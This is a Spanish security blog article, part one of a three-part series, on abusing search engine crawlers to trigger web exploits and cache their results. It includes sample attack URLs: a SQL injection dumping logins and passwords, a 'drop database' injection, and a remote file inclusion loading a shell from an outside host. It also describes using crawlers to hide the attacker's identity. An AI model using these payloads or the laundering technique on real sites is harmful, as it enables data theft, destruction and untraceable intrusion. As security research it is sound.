Buscadores como arma de destrucción masiva [I de III]

*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************

Cuando se habla de buscadores y seguridad, rápidamente vienen a la mente diversas técnicas de recolección de información y de detección de fugas de datos. Técnicas, como Google Hacking o Bing Hacking, “pasivas” y no intrusivas.

Pero no acaban ahí las posibilidades. Éste artículo se centra en el uso de los buscadores como armas, capaces de realizar acciones intrusivas contra los sitios web. Buscadores que se convierten en herramientas que pueden ser útiles para las actividades de pentesting o exploiting.

A.- Ejecución de exploits

Muchas vulnerabilidades de aplicaciones web pueden explotarse inyectando algún tipo de ataque en los parámetros GET de una URL. Por ejemplo, extraer los datos de los usuarios del sitio puede resultar así de fácil:

http://www.webjodida.com/listado.php?id=a’ union select login,password from tabla_usuarios --

O, si lo que desea uno es cepillarse la base de datos completa:

http://www.webjodida.com/listado.php?id=Bobby’ ; drop database students --

O, si se prefiere, también tenemos el típico ataque RFI que muestra el listado de ficheros de la unidad raiz:

http://www.webjodida.com/control.php?page=http://sucks.sucks/shell.txt?cmd=dir+c:\

Por supuesto, muchas empresas se previenen contra estos ataques y realizan sus buenas auditorías, forman adecuadamente a su personal, desarrollan el software siguiendo prácticas seguras y montan WAFs que filtran estas URLs tan “divertidas”. Por supuesto, otras no.

Imaginemos que alguien descubre una vulnerabilidad en una web que es explotable con una única petición, inyectando el ataque en un parámetro GET. Y supongamos que no quiere poner las cosas fáciles a quien intente localizarle.

Aquí es donde entran en juego nuestros amigos. El atacante podría pedir a varios buscadores la indexación de una URL con el exploit. O que indexaran una página cuyo código contenga links a los exploits a ejecutar. Después, cada buscador, para realizar como es debido su trabajo, se vería obligado a visitar la página y, al hacerlo, desencadenaría el ataque.

Posteriormente, cuando se investigara el asunto, el sitio atacado sólo tendría la IP y el User-Agent del buscador. No los del atacante. Y, lo que es peor (o quizá lo mejor, según para quién), es que los resultados del ataque podrían quedar accesibles al público tanto a través de las páginas de resultados como de las cachés de los buscadores. De ese modo, cualquiera podría consultarla sin que la organización propietaria de la web tenga conocimiento de ello.

Para investigar estas aplicaciones, se han hecho algunas webs de prueba y se ha pedido a diversos buscadores que indexen URLs maliciosas. De esta forma pudimos, por ejemplo, ver como Google indexa y guarda en su caché resultados de ejecutar un SQL Injection a una página:


Figura 1. URL maliciosa indexada por Google. La URL aparece en la barra de estado


Figura 2. Los datos están en la Caché
O también observar como Exalead es capaz de borrar los datos de una tabla sin siquiera despeinarse. ¡Y después presume de ello!:


Figura 3. Cuéntale al jefe que un buscador se cargó tus datos. Pero, antes, actualiza tu curriculum.
O que Yahoo! te puede sacar usuarios y contraseñas de un sitio (ver el resumen asociado al resultado):


Figura 4. Usuario y Contraseña por SQL Injection en la página de resultados.
Si exceptuamos lo de la caché y el escarnio público, el problema aquí no es que el buscador se convierta en el arma homicida. El atacante podría haber usado cualquier otra herramienta o conexión para lanzar el ataque. Podría haberse conectado a una WiFi desprotegida, o irse a cualquier red que no fuera suya, para lanzar el ataque, podría haber usado una conexión anónima… lo que fuera. Mientras la vulnerabilidad exista, podrá ser explotada.

Lo que no deja de sorprender es que un buscador no tenga implementado un sistema de filtrado de URLs, es decir, que un servicio que gestiona URLs, y que visita las correspondientes páginas web, no realice un análisis de las mismas para detectar ataques XSS, RFI o SQLI, por ejemplo. Y es algo que no se limita a los buscadores: indexadores, acortadores de URL, generadores de thumbnails de páginas, etcetera pueden presentar problemas similares.

Por supuesto, una forma de protegerse de este comportamiento de los buscadores podría ser poner un robots.txt que filtrase los directorios donde las aplicaciones se están ejecutando. La pregunta es, ¿hasta qué punto es efectiva esta medida?

*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************